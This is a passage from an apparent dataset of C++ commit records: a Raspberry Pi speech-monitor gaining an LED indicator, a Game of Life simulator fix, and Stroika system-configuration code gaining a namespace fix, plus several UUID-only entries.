Tony DiCola (tony@tonydicola.com)\n\/\/ Released under an MIT license (http:\/\/opensource.org\/licenses\/MIT).\n\n\/\/ Main application.\n\n#include <algorithm>\n#include <csignal>\n#include <cstdint>\n#include <stdexcept>\n#include <fstream>\n#include <iostream>\n#include <iterator>\n#include <vector>\n\n#include <wiringPi.h>\n\n#include \"Adafruit_Thermal.h\"\n#include \"AlsaError.h\"\n#include \"AlsaSink.h\"\n#include \"AlsaSource.h\"\n#include \"DemoManMonitor.h\"\n#include \"PocketSphinxKWS.h\"\n\nusing namespace std;\n\n#define ALARM_FILE\t\t\"alarm_movie_padded.raw\"\n#define RECORD_HW\t\t\"plughw:0,0\"\n#define PLAYBACK_HW\t\t\"plughw:1,0\"\n#define KEYWORD_FILE\t\"keywords.txt\"\n#define PRINTER_PORT\t\"\/dev\/ttyAMA0\"\n#define QUIET_PIN\t\t0\n\nbool shouldRun = true;\n\nvoid setQuietMode(DemoManMonitor& monitor, bool quietMode) {\n\tmonitor.setQuietMode(quietMode);\n\tif (quietMode) {\n\t\tcout << \"Quiet mode enabled.\" << endl;\n\t}\n\telse {\n\t\tcout << \"Quiet mode disabled.\" << endl;\n\t}\n}\n\nint main(int argc, char* argv[]) {\n\ttry {\n\t\tcout << \"Demolition Man Verbal Morality Statute Monitor\" << endl;\n\t\tcout << \"Loading...\" << endl;\n\n\t\t\/\/ Signal handler to catch ctrl-c in the main loop and shut down gracefully (i.e. call destructors).\n\t\tsignal(SIGINT, [](int param){ shouldRun = false; });\n\n\t\t\/\/ Initialize wiringPi library and quiet switch input.\n\t\twiringPiSetup () ;\n\t\tpinMode(QUIET_PIN, INPUT);\n\t\tbool quietSwitch = (digitalRead(QUIET_PIN) == HIGH);\n\n\t\t\/\/ Initialize printer.\n\t\tAdafruit_Thermal printer(PRINTER_PORT);\n\t\tprinter.begin();\n\n\t\t\/\/ Load alarm raw audio.\n\t\tifstream input(ALARM_FILE, ios::in | ios::binary);\n\t\tinput.seekg (0, input.end);\n\t\tsize_t length = input.tellg();\n\t\tinput.seekg (0, input.beg);\n\t\tvector<uint8_t> alarm(length);\n\t\tinput.read((char*)alarm.data(), length);\n\n\t\t\/\/ Initialize audio sink and source.\n\t\tAlsaSink sink;\n\t\tsink.open(PLAYBACK_HW, 44100, 1, SND_PCM_FORMAT_S16_LE);\n\t\tAlsaSource source;\n\t\tsource.open(RECORD_HW, 16000, 1, SND_PCM_FORMAT_S16_LE);\n\n\t\t\/\/ Initialize keyword spotter.\n\t\tPocketSphinxKWS spotter;\n\t\tspotter.initialize(PocketSphinxKWS::parseConfig(argc, argv), KEYWORD_FILE);\n\n\t\t\/\/ Initialize main logic.\n\t\tDemoManMonitor monitor(8000, &printer, &source, &sink, &spotter, &alarm);\n\t\tsetQuietMode(monitor, quietSwitch);\n\n\t\tcout << \"Listening... (press Ctrl-C to stop)\" << endl;\n\n\t\twhile (shouldRun) {\n\t\t\t\/\/ Check quite mode switch and update state.\n\t\t\tbool newQuietSwitch = (digitalRead(QUIET_PIN) == HIGH);\n\t\t\tif (newQuietSwitch != quietSwitch) {\n\t\t\t\tquietSwitch = newQuietSwitch;\n\t\t\t\tsetQuietMode(monitor, quietSwitch);\n\t\t\t}\n\t\t\t\/\/ Update main logic state.\n\t\t\tmonitor.update();\n\t\t}\n\t}\n\tcatch (AlsaError ex) {\n\t\tcerr << \"ALSA ERROR \" << ex.message << \" (\" << ex.code << \") while calling: \" << ex.what() << endl;\n\t\treturn 1;\n\t}\n\tcatch (exception ex) {\n\t\tcerr << \"ERROR: \" << ex.what() << endl;\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n<commit_msg>LED test<commit_after>\/\/ Demolition Man Verbal Morality Statute Monitor\n\/\/ Created by Tony DiCola (tony@tonydicola.com)\n\/\/ Released under an MIT license (http:\/\/opensource.org\/licenses\/MIT).\n\n\/\/ Main application.\n\n#include <algorithm>\n#include <csignal>\n#include <cstdint>\n#include <stdexcept>\n#include <fstream>\n#include <iostream>\n#include <iterator>\n#include <vector>\n\n#include <wiringPi.h>\n\n#include \"Adafruit_Thermal.h\"\n#include \"AlsaError.h\"\n#include \"AlsaSink.h\"\n#include \"AlsaSource.h\"\n#include \"DemoManMonitor.h\"\n#include \"PocketSphinxKWS.h\"\n\nusing namespace std;\n\n#define ALARM_FILE\t\t\"alarm_movie_padded.raw\"\n#define RECORD_HW\t\t\"plughw:0,0\"\n#define PLAYBACK_HW\t\t\"plughw:1,0\"\n#define KEYWORD_FILE\t\"keywords.txt\"\n#define PRINTER_PORT\t\"\/dev\/ttyAMA0\"\n#define QUIET_PIN\t\t0\n#define LED_PIN\t\t\t4\n\nbool shouldRun = true;\n\nvoid setQuietMode(DemoManMonitor& monitor, bool quietMode) {\n\tmonitor.setQuietMode(quietMode);\n\tif (quietMode) {\n\t\tcout << \"Quiet mode enabled.\" << endl;\n\t}\n\telse {\n\t\tcout << \"Quiet mode disabled.\" << endl;\n\t}\n}\n\nint main(int argc, char* argv[]) {\n\ttry {\n\t\tcout << \"Demolition Man Verbal Morality Statute Monitor\" << endl;\n\t\tcout << \"Loading...\" << endl;\n\n\t\t\/\/ Signal handler to catch ctrl-c in the main loop and shut down gracefully (i.e. call destructors).\n\t\tsignal(SIGINT, [](int param){ shouldRun = false; });\n\n\t\t\/\/ Initialize wiringPi library and quiet switch input.\n\t\twiringPiSetup () ;\n\t\tpinMode(QUIET_PIN, INPUT);\n\t\tbool quietSwitch = (digitalRead(QUIET_PIN) == HIGH);\n\n\t\tpinMode(LED_PIN, OUTPUT);\n\t\tdigitalWrite(LED_PIN, HIGH);\n\n\t\t\/\/ Initialize printer.\n\t\tAdafruit_Thermal printer(PRINTER_PORT);\n\t\tprinter.begin();\n\n\t\t\/\/ Load alarm raw audio.\n\t\tifstream input(ALARM_FILE, ios::in | ios::binary);\n\t\tinput.seekg (0, input.end);\n\t\tsize_t length = input.tellg();\n\t\tinput.seekg (0, input.beg);\n\t\tvector<uint8_t> alarm(length);\n\t\tinput.read((char*)alarm.data(), length);\n\n\t\t\/\/ Initialize audio sink and source.\n\t\tAlsaSink sink;\n\t\tsink.open(PLAYBACK_HW, 44100, 1, SND_PCM_FORMAT_S16_LE);\n\t\tAlsaSource source;\n\t\tsource.open(RECORD_HW, 16000, 1, SND_PCM_FORMAT_S16_LE);\n\n\t\t\/\/ Initialize keyword spotter.\n\t\tPocketSphinxKWS spotter;\n\t\tspotter.initialize(PocketSphinxKWS::parseConfig(argc, argv), KEYWORD_FILE);\n\n\t\t\/\/ Initialize main logic.\n\t\tDemoManMonitor monitor(8000, &printer, &source, &sink, &spotter, &alarm);\n\t\tsetQuietMode(monitor, quietSwitch);\n\n\t\tcout << \"Listening... (press Ctrl-C to stop)\" << endl;\n\n\t\twhile (shouldRun) {\n\t\t\t\/\/ Check quite mode switch and update state.\n\t\t\tbool newQuietSwitch = (digitalRead(QUIET_PIN) == HIGH);\n\t\t\tif (newQuietSwitch != quietSwitch) {\n\t\t\t\tquietSwitch = newQuietSwitch;\n\t\t\t\tsetQuietMode(monitor, quietSwitch);\n\t\t\t}\n\t\t\t\/\/ Update main logic state.\n\t\t\tmonitor.update();\n\t\t}\n\n\t\tdigitalWrite(LED_PIN, LOW);\n\t}\n\tcatch (AlsaError ex) {\n\t\tcerr << \"ALSA ERROR \" << ex.message << \" (\" << ex.code << \") while calling: \" << ex.what() << endl;\n\t\treturn 1;\n\t}\n\tcatch (exception ex) {\n\t\tcerr << \"ERROR: \" << ex.what() << endl;\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>a4a7bb85-2e4f-11e5-8769-28cfe91dbc4b<commit_msg>a4af1514-2e4f-11e5-82cc-28cfe91dbc4b<commit_after>a4af1514-2e4f-11e5-82cc-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>8431fbcf-2d15-11e5-af21-0401358ea401<commit_msg>8431fbd0-2d15-11e5-af21-0401358ea401<commit_after>8431fbd0-2d15-11e5-af21-0401358ea401<|endoftext|>"} {"text":"<commit_before>8f597523-2e4f-11e5-846d-28cfe91dbc4b<commit_msg>8f6073e3-2e4f-11e5-b5ff-28cfe91dbc4b<commit_after>8f6073e3-2e4f-11e5-b5ff-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>99246b99-327f-11e5-a59b-9cf387a8033e<commit_msg>992a579c-327f-11e5-aa11-9cf387a8033e<commit_after>992a579c-327f-11e5-aa11-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>b73bf5e1-4b02-11e5-9ea9-28cfe9171a43<commit_msg>Tuesday, turns out it was tuesday<commit_after>b748a380-4b02-11e5-911f-28cfe9171a43<|endoftext|>"} {"text":"<commit_before>cc2de4d7-327f-11e5-81c3-9cf387a8033e<commit_msg>cc346bd1-327f-11e5-93ac-9cf387a8033e<commit_after>cc346bd1-327f-11e5-93ac-9cf387a8033e<|endoftext|>"} {"text":"<commit_before>\/*Published under The MIT License (MIT)\nSee LICENSE*\/\n\n\/\/ Christopher Hernandez\n\n#include <iostream>\n#include <cstdlib>\n#include <ctime>\n#include \"colony.h\"\n\nint _length;\nint _width;\nint _gens;\n\ndouble calculateAvgTime(double** times) {\n double total = 0;\n for(int j = 0; j < _length; j++) {\n \t\tfor(int i = 0; i < _width; i++) {\n total += times[j][i]; \/\/ add up all times\n }\n }\n return total \/ (_length * _width); \/\/ sum \/ n = avg\n}\n\nint main(int argc, char** argv) {\n clock_t begin = clock();\n\n _length = atoi(argv[1]);\n _width = atoi(argv[2]);\n _gens = atoi(argv[3]);\n bool print = true;\n if (argv[4]) { \/\/ if 4th parameter exists don't print\n if (std::strncmp(argv[4],\"--no-print\", 10) == 0) {\n print = false;\n }\n }\n \/\/ Create colony\n Colony c(_length, _width, _gens);\n\n for (int i = 0; i < _gens; i++) {\n if (print) {\n system(\"clear\"); \/\/ clear console\n c.printGrid();\n c.evolve();\n system(\"sleep .1\"); \/\/ give console time to catch up\n } else {\n c.evolve();\n }\n }\n\n clock_t end = clock(); \/\/ end gen time\n double elapsed = double(end - begin) \/ CLOCKS_PER_SEC;\n std::cout << \"Average timestep: \" << calculateAvgTime(c.getTimes()) << std::endl;\n std::cout << \"Total Time: \" << elapsed << std::endl;\n return 0;\n}\n<commit_msg>strncmp not part of std lib<commit_after>\/*Published under The MIT License (MIT)\nSee LICENSE*\/\n\n\/\/ Christopher Hernandez\n\n#include <iostream>\n#include <cstdlib>\n#include <ctime>\n#include \"colony.h\"\n\nint _length;\nint _width;\nint _gens;\n\ndouble calculateAvgTime(double** times) {\n double total = 0;\n for(int j = 0; j < _length; j++) {\n \t\tfor(int i = 0; i < _width; i++) {\n total += times[j][i]; \/\/ add up all times\n }\n }\n return total \/ (_length * _width); \/\/ sum \/ n = avg\n}\n\nint main(int argc, char** argv) {\n clock_t begin = clock();\n\n _length = atoi(argv[1]);\n _width = atoi(argv[2]);\n _gens = atoi(argv[3]);\n bool print = true;\n if (argv[4]) { \/\/ if 4th parameter exists don't print\n if (strncmp(argv[4],\"--no-print\", 10) == 0) {\n print = false;\n }\n }\n \/\/ Create colony\n Colony c(_length, _width, _gens);\n\n for (int i = 0; i < _gens; i++) {\n if (print) {\n system(\"clear\"); \/\/ clear console\n c.printGrid();\n c.evolve();\n system(\"sleep .1\"); \/\/ give console time to catch up\n } else {\n c.evolve();\n }\n }\n\n clock_t end = clock(); \/\/ end gen time\n double elapsed = double(end - begin) \/ CLOCKS_PER_SEC;\n std::cout << \"Average timestep: \" << calculateAvgTime(c.getTimes()) << std::endl;\n std::cout << \"Total Time: \" << elapsed << std::endl;\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2015. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include <thread>\n\n#if qPlatform_POSIX\n#include <unistd.h>\n#include <fstream>\n#elif qPlatform_Windows\n#include <Windows.h>\n#endif\n\n#include \"..\/Characters\/SDKString.h\"\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Characters\/String_Constant.h\"\n#include \"..\/Characters\/String2Int.h\"\n#include \"..\/Containers\/Set.h\"\n#if qPlatform_POSIX\n#include \"..\/Execution\/ErrNoException.h\"\n#elif qPlatform_Windows\n#include \"..\/Execution\/Platform\/Windows\/Exception.h\"\n#endif\n#include \"..\/Memory\/SmallStackBuffer.h\"\n#include \"..\/IO\/FileSystem\/BinaryFileInputStream.h\"\n#include \"..\/Streams\/BasicBinaryInputOutputStream.h\"\n#include \"..\/Streams\/TextInputStreamBinaryAdapter.h\"\n\n#include \"SystemConfiguration.h\"\n\n\n\n#if qPlatform_POSIX\n#include \"..\/DataExchange\/INI\/Reader.h\"\n#include \"..\/Execution\/ProcessRunner.h\"\n#include \"..\/Streams\/iostream\/FStreamSupport.h\"\n#endif\n\n\n\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Configuration;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::Streams;\n\n\nusing Characters::String_Constant;\nusing Characters::SDKChar;\n\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\n\n\n\n\n\/*\n ********************************************************************************\n ***************** Configuration::SystemConfiguration::CPU **********************\n ********************************************************************************\n *\/\nunsigned int SystemConfiguration::CPU::GetNumberOfSockets () const\n{\n Set<unsigned int> socketIds;\n for (auto i : fCores) {\n socketIds.Add (i.fSocketID);\n }\n return static_cast<unsigned int> (socketIds.size ());\n}\n\n\n\/*\n ********************************************************************************\n *************** Configuration::GetSystemConfiguration_CPU **********************\n ********************************************************************************\n *\/\nSystemConfiguration::CPU Configuration::GetSystemConfiguration_CPU ()\n{\n using CPU = SystemConfiguration::CPU;\n CPU result;\n\n#if qPlatform_POSIX\n {\n using Streams::TextInputStreamBinaryAdapter;\n using IO::FileSystem::BinaryFileInputStream;\n using Characters::String2Int;\n const String_Constant kProcCPUInfoFileName_ { L\"\/proc\/cpuinfo\" };\n\n CPU::CoreDetails coreDetails;\n \/\/ Note - \/procfs files always unseekable\n for (String line : TextInputStreamBinaryAdapter (BinaryFileInputStream::mk (kProcCPUInfoFileName_, BinaryFileInputStream::eNotSeekable)).ReadLines ()) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"***in Configuration::GetSystemConfiguration_CPU capture_ line=%s\", line.c_str ());\n#endif\n static const String_Constant kModelNameLabel_ { L\"model name\t: \" };\n \/\/static const String_Constant kProcessorIDLabel_ { L\"processor : \" };\n static const String_Constant kSocketIDLabel_ { L\"physical id\t: \" }; \/\/ a bit of a guess?\n if (line.StartsWith (kModelNameLabel_)) {\n coreDetails.fModelName = line.SubString (kModelNameLabel_.length ()).Trim ();\n }\n else if (line.StartsWith (kSocketIDLabel_)) {\n unsigned int socketID = String2Int<unsigned int> (line.SubString (kSocketIDLabel_.length ()).Trim ());\n coreDetails.fSocketID = socketID;\n }\n if (line.Trim ().empty ()) {\n \/\/ ends each socket\n result.fCores.Append (coreDetails);\n coreDetails = CPU::CoreDetails ();\n }\n }\n if (coreDetails.fSocketID != 0 or not coreDetails.fModelName.empty ()) {\n result.fCores.Append (coreDetails);\n }\n }\n#elif qPlatform_Windows\n SYSTEM_INFO sysInfo; \/\/ GetNativeSystemInfo cannot fail so no need to initialize data\n ::GetNativeSystemInfo (&sysInfo);\n \/\/unclear if this is count of logical or physical cores, or how to compute the other.\n \/\/@todo - fix as above for POSIX... maybe ask Sterl? But for now KISS\n \/\/\n \/\/ Can use https:\/\/msdn.microsoft.com\/en-us\/library\/hskdteyh%28v=vs.90%29.aspx?f=255&MSPPError=-2147217396\n \/\/ __cpuid\n \/\/ to find this information (at least modelname string.\n \/\/\n for (DWORD i = 0; i < sysInfo.dwNumberOfProcessors; ++i) {\n result.fCores.Append (CPU::CoreDetails ());\n }\n#endif\n\n return result;\n}\n\n\n\/*\n ********************************************************************************\n ************** Configuration::GetSystemConfiguration_Memory ********************\n ********************************************************************************\n *\/\nSystemConfiguration::Memory Configuration::GetSystemConfiguration_Memory ()\n{\n using Memory = SystemConfiguration::Memory;\n Memory result;\n#if qPlatform_POSIX\n result.fPageSize = ::sysconf (_SC_PAGESIZE);\n result.fTotalPhysicalRAM = ::sysconf (_SC_PHYS_PAGES) * result.fPageSize;\n#elif qPlatform_Windows\n SYSTEM_INFO sysInfo;\n ::GetNativeSystemInfo (&sysInfo);\n result.fPageSize = sysInfo.dwPageSize;\n\n MEMORYSTATUSEX memStatus;\n memStatus.dwLength = sizeof (memStatus);\n Verify (::GlobalMemoryStatusEx (&memStatus));\n result.fTotalPhysicalRAM = memStatus.ullTotalPhys;\n result.fTotalVirtualRAM = memStatus.ullTotalVirtual;\n#endif\n return result;\n}\n\n\n\/*\n ********************************************************************************\n ******** Configuration::GetSystemConfiguration_OperatingSystem *****************\n ********************************************************************************\n *\/\nSystemConfiguration::OperatingSystem Configuration::GetSystemConfiguration_OperatingSystem ()\n{\n using OperatingSystem = SystemConfiguration::OperatingSystem;\n static const OperatingSystem kCachedResult_ = []() ->OperatingSystem {\n OperatingSystem tmp;\n#if qPlatform_POSIX\n tmp.fTokenName = String_Constant (L\"Unix\");\n try {\n tmp.fTokenName = Execution::ProcessRunner (L\"uname\").Run (String ()).Trim ();\n }\n catch (...)\n {\n DbgTrace (\"Failure running uname\");\n }\n try {\n ifstream s;\n Streams::iostream::OpenInputFileStream (&s, L\"\/etc\/os-release\");\n DataExchange::INI::Profile p = DataExchange::INI::Reader ().ReadProfile (s);\n tmp.fShortPrettyName = p.fUnnamedSection.fProperties.LookupValue (L\"NAME\");\n tmp.fPrettyNameWithMajorVersion = p.fUnnamedSection.fProperties.LookupValue (L\"PRETTY_NAME\");\n }\n catch (...)\n {\n DbgTrace (\"Failure reading \/etc\/os-release\");\n }\n if (tmp.fShortPrettyName.empty ())\n {\n tmp.fShortPrettyName = tmp.fTokenName;\n }\n if (tmp.fPrettyNameWithMajorVersion.empty ())\n {\n tmp.fPrettyNameWithMajorVersion = tmp.fShortPrettyName;\n }\n if (tmp.fRFC1945CompatProductTokenWithVersion.empty ())\n {\n tmp.fRFC1945CompatProductTokenWithVersion = tmp.fShortPrettyName.Trim ().ReplaceAll (L\" \", L\"-\");\n if (not tmp.fMajorMinorVersionString.empty ()) {\n tmp.fRFC1945CompatProductTokenWithVersion += L\"\/\" + tmp.fMajorMinorVersionString;\n }\n }\n \/\/\n \/\/ @todo FIX\/FIND BETTER WAY!\n \/\/\n \/\/http:\/\/docs.oracle.com\/cd\/E36784_01\/html\/E36874\/sysconf-3c.html\n \/\/ Quite uncertain - this is not a good reference\n \/\/ --LGP 2014-10-18\n \/\/\n tmp.fBits = ::sysconf (_SC_V6_LP64_OFF64) == _POSIX_V6_LP64_OFF64 ? 64 : 32;\n#elif qPlatform_Windows\n tmp.fTokenName = String_Constant (L\"Windows\");\n \/*\n * Microslop declares this deprecated, but then fails to provide a reasonable alternative.\n *\n * Sigh.\n *\n * http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms724429(v=vs.85).aspx - GetFileVersionInfo (kernel32.dll)\n * is a painful, and stupid alternative.\n *\/\n DISABLE_COMPILER_MSC_WARNING_START(4996)\n OSVERSIONINFOEX osvi;\n memset(&osvi, 0, sizeof (osvi));\n osvi.dwOSVersionInfoSize = sizeof (osvi);\n Verify (::GetVersionEx (reinterpret_cast<LPOSVERSIONINFO> (&osvi)));\n DISABLE_COMPILER_MSC_WARNING_END(4996)\n if (osvi.dwMajorVersion == 6)\n {\n if (osvi.dwMinorVersion == 0) {\n tmp.fShortPrettyName = osvi.wProductType == VER_NT_WORKSTATION ? String_Constant (L\"Windows Vista\") : String_Constant (L\"Windows Server 2008\");\n }\n else if (osvi.dwMinorVersion == 1) {\n tmp.fShortPrettyName = osvi.wProductType == VER_NT_WORKSTATION ? String_Constant (L\"Windows 7\") : String_Constant (L\"Windows Server 2008 R2\");\n }\n else if (osvi.dwMinorVersion == 2) {\n tmp.fShortPrettyName = osvi.wProductType == VER_NT_WORKSTATION ? String_Constant (L\"Windows 8\") : String_Constant (L\"Windows Server 2012\");\n }\n else if (osvi.dwMinorVersion == 3) {\n if (osvi.wProductType == VER_NT_WORKSTATION)\n tmp.fShortPrettyName = String_Constant (L\"Windows 8.1\");\n }\n }\n if (tmp.fShortPrettyName.empty ())\n {\n tmp.fShortPrettyName = Characters::Format (L\"Windows %d.%d\", osvi.dwMajorVersion, osvi.dwMinorVersion);\n }\n tmp.fPrettyNameWithMajorVersion = tmp.fShortPrettyName;\n tmp.fMajorMinorVersionString = Characters::Format (L\"%d.%d\", osvi.dwMajorVersion, osvi.dwMinorVersion);\n tmp.fRFC1945CompatProductTokenWithVersion = Characters::Format (L\"Windows\/%d.%d\", osvi.dwMajorVersion, osvi.dwMinorVersion);\n if (sizeof (void*) == 4)\n {\n tmp.fBits = 32;\n \/\/IsWow64Process is not available on all supported versions of Windows.\n \/\/Use GetModuleHandle to get a handle to the DLL that contains the function\n \/\/and GetProcAddress to get a pointer to the function if available.\n typedef BOOL (WINAPI * LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);\n LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT(\"kernel32\")), \"IsWow64Process\");\n if(NULL != fnIsWow64Process) {\n BOOL isWOW64 = false;\n (void)fnIsWow64Process (GetCurrentProcess(), &isWOW64);\n if (isWOW64) {\n tmp.fBits = 64;\n }\n }\n }\n else {\n \/\/ In windows, a 64 bit app cannot run on 32-bit windows\n Assert (sizeof (void*) == 8);\n tmp.fBits = 64;\n }\n#else\n AssertNotImplemented ();\n#endif\n return tmp;\n } ();\n return kCachedResult_;\n}\n\n\n\/*\n ********************************************************************************\n ***************** GetSystemConfiguration_ComputerNames *************************\n ********************************************************************************\n *\/\n#if 0 && qPlatform_POSIX\n\/\/ ALTERNATE APPROACH TO CONSIDER\nstring name;\n{\n struct addrinfo* res;\n struct addrinfo hints;\n memset(&hints, '\\0', sizeof(hints));\n hints.ai_socktype = SOCK_STREAM;\n hints.ai_flags = AI_CANONNAME;\n int e = getaddrinfo(nullptr, nullptr, &hints, &res);\n if (e != 0) {\n \/\/printf(\"failure %s\\n\", gai_strerror (e));\n return String ();\n }\n int sock = -1;\n for (struct addrinfo* r = res; r != NULL; r = r->ai_next) {\n name = r->ai_canonname ;\n break;\n }\n freeaddrinfo(res);\n}\nreturn String::FromSDKString (name);\n#endif\nSystemConfiguration::ComputerNames Configuration::GetSystemConfiguration_ComputerNames ()\n{\n using ComputerNames = SystemConfiguration::ComputerNames;\n ComputerNames result;\n#if qPlatform_POSIX\n char nameBuf[1024];\n Execution::ThrowErrNoIfNegative (gethostname (nameBuf, NEltsOf (nameBuf)));\n nameBuf[NEltsOf (nameBuf) - 1] = '\\0'; \/\/ http:\/\/linux.die.net\/man\/2\/gethostname says not necessarily nul-terminated\n result.fHostname = String::FromNarrowSDKString (nameBuf);\n#elif qPlatform_Windows\n constexpr COMPUTER_NAME_FORMAT kUseNameFormat_ = ComputerNameNetBIOS; \/\/ total WAG -- LGP 2014-10-10\n DWORD dwSize = 0;\n (void) ::GetComputerNameEx (kUseNameFormat_, nullptr, &dwSize);\n Memory::SmallStackBuffer<SDKChar> buf(dwSize);\n Execution::Platform::Windows::ThrowIfFalseGetLastError (::GetComputerNameEx (kUseNameFormat_, buf, &dwSize));\n result.fHostname = String::FromSDKString (buf);\n#else\n AssertNotImplemented ();\n#endif\n return result;\n}\n\n\n\n\n\n\/*\n ********************************************************************************\n ****************** SystemConfiguration GetSystemConfiguration ******************\n ********************************************************************************\n *\/\ninline SystemConfiguration GetSystemConfiguration ()\n{\n return SystemConfiguration {\n GetSystemConfiguration_CPU (),\n GetSystemConfiguration_Memory (),\n GetSystemConfiguration_OperatingSystem (),\n GetSystemConfiguration_ComputerNames ()\n };\n}\n<commit_msg>fixed missing namespace in definition<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2015. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include <thread>\n\n#if qPlatform_POSIX\n#include <unistd.h>\n#include <fstream>\n#elif qPlatform_Windows\n#include <Windows.h>\n#endif\n\n#include \"..\/Characters\/SDKString.h\"\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Characters\/String_Constant.h\"\n#include \"..\/Characters\/String2Int.h\"\n#include \"..\/Containers\/Set.h\"\n#if qPlatform_POSIX\n#include \"..\/Execution\/ErrNoException.h\"\n#elif qPlatform_Windows\n#include \"..\/Execution\/Platform\/Windows\/Exception.h\"\n#endif\n#include \"..\/Memory\/SmallStackBuffer.h\"\n#include \"..\/IO\/FileSystem\/BinaryFileInputStream.h\"\n#include \"..\/Streams\/BasicBinaryInputOutputStream.h\"\n#include \"..\/Streams\/TextInputStreamBinaryAdapter.h\"\n\n#include \"SystemConfiguration.h\"\n\n\n\n#if qPlatform_POSIX\n#include \"..\/DataExchange\/INI\/Reader.h\"\n#include \"..\/Execution\/ProcessRunner.h\"\n#include \"..\/Streams\/iostream\/FStreamSupport.h\"\n#endif\n\n\n\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Configuration;\nusing namespace Stroika::Foundation::Containers;\nusing namespace Stroika::Foundation::Streams;\n\n\nusing Characters::String_Constant;\nusing Characters::SDKChar;\n\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\n\n\n\n\n\/*\n ********************************************************************************\n ***************** Configuration::SystemConfiguration::CPU **********************\n ********************************************************************************\n *\/\nunsigned int SystemConfiguration::CPU::GetNumberOfSockets () const\n{\n Set<unsigned int> socketIds;\n for (auto i : fCores) {\n socketIds.Add (i.fSocketID);\n }\n return static_cast<unsigned int> (socketIds.size ());\n}\n\n\n\/*\n ********************************************************************************\n *************** Configuration::GetSystemConfiguration_CPU **********************\n ********************************************************************************\n *\/\nSystemConfiguration::CPU Configuration::GetSystemConfiguration_CPU ()\n{\n using CPU = SystemConfiguration::CPU;\n CPU result;\n\n#if qPlatform_POSIX\n {\n using Streams::TextInputStreamBinaryAdapter;\n using IO::FileSystem::BinaryFileInputStream;\n using Characters::String2Int;\n const String_Constant kProcCPUInfoFileName_ { L\"\/proc\/cpuinfo\" };\n\n CPU::CoreDetails coreDetails;\n \/\/ Note - \/procfs files always unseekable\n for (String line : TextInputStreamBinaryAdapter (BinaryFileInputStream::mk (kProcCPUInfoFileName_, BinaryFileInputStream::eNotSeekable)).ReadLines ()) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"***in Configuration::GetSystemConfiguration_CPU capture_ line=%s\", line.c_str ());\n#endif\n static const String_Constant kModelNameLabel_ { L\"model name\t: \" };\n \/\/static const String_Constant kProcessorIDLabel_ { L\"processor : \" };\n static const String_Constant kSocketIDLabel_ { L\"physical id\t: \" }; \/\/ a bit of a guess?\n if (line.StartsWith (kModelNameLabel_)) {\n coreDetails.fModelName = line.SubString (kModelNameLabel_.length ()).Trim ();\n }\n else if (line.StartsWith (kSocketIDLabel_)) {\n unsigned int socketID = String2Int<unsigned int> (line.SubString (kSocketIDLabel_.length ()).Trim ());\n coreDetails.fSocketID = socketID;\n }\n if (line.Trim ().empty ()) {\n \/\/ ends each socket\n result.fCores.Append (coreDetails);\n coreDetails = CPU::CoreDetails ();\n }\n }\n if (coreDetails.fSocketID != 0 or not coreDetails.fModelName.empty ()) {\n result.fCores.Append (coreDetails);\n }\n }\n#elif qPlatform_Windows\n SYSTEM_INFO sysInfo; \/\/ GetNativeSystemInfo cannot fail so no need to initialize data\n ::GetNativeSystemInfo (&sysInfo);\n \/\/unclear if this is count of logical or physical cores, or how to compute the other.\n \/\/@todo - fix as above for POSIX... maybe ask Sterl? But for now KISS\n \/\/\n \/\/ Can use https:\/\/msdn.microsoft.com\/en-us\/library\/hskdteyh%28v=vs.90%29.aspx?f=255&MSPPError=-2147217396\n \/\/ __cpuid\n \/\/ to find this information (at least modelname string.\n \/\/\n for (DWORD i = 0; i < sysInfo.dwNumberOfProcessors; ++i) {\n result.fCores.Append (CPU::CoreDetails ());\n }\n#endif\n\n return result;\n}\n\n\n\/*\n ********************************************************************************\n ************** Configuration::GetSystemConfiguration_Memory ********************\n ********************************************************************************\n *\/\nSystemConfiguration::Memory Configuration::GetSystemConfiguration_Memory ()\n{\n using Memory = SystemConfiguration::Memory;\n Memory result;\n#if qPlatform_POSIX\n result.fPageSize = ::sysconf (_SC_PAGESIZE);\n result.fTotalPhysicalRAM = ::sysconf (_SC_PHYS_PAGES) * result.fPageSize;\n#elif qPlatform_Windows\n SYSTEM_INFO sysInfo;\n ::GetNativeSystemInfo (&sysInfo);\n result.fPageSize = sysInfo.dwPageSize;\n\n MEMORYSTATUSEX memStatus;\n memStatus.dwLength = sizeof (memStatus);\n Verify (::GlobalMemoryStatusEx (&memStatus));\n result.fTotalPhysicalRAM = memStatus.ullTotalPhys;\n result.fTotalVirtualRAM = memStatus.ullTotalVirtual;\n#endif\n return result;\n}\n\n\n\/*\n ********************************************************************************\n ******** Configuration::GetSystemConfiguration_OperatingSystem *****************\n ********************************************************************************\n *\/\nSystemConfiguration::OperatingSystem Configuration::GetSystemConfiguration_OperatingSystem ()\n{\n using OperatingSystem = SystemConfiguration::OperatingSystem;\n static const OperatingSystem kCachedResult_ = []() ->OperatingSystem {\n OperatingSystem tmp;\n#if qPlatform_POSIX\n tmp.fTokenName = String_Constant (L\"Unix\");\n try {\n tmp.fTokenName = 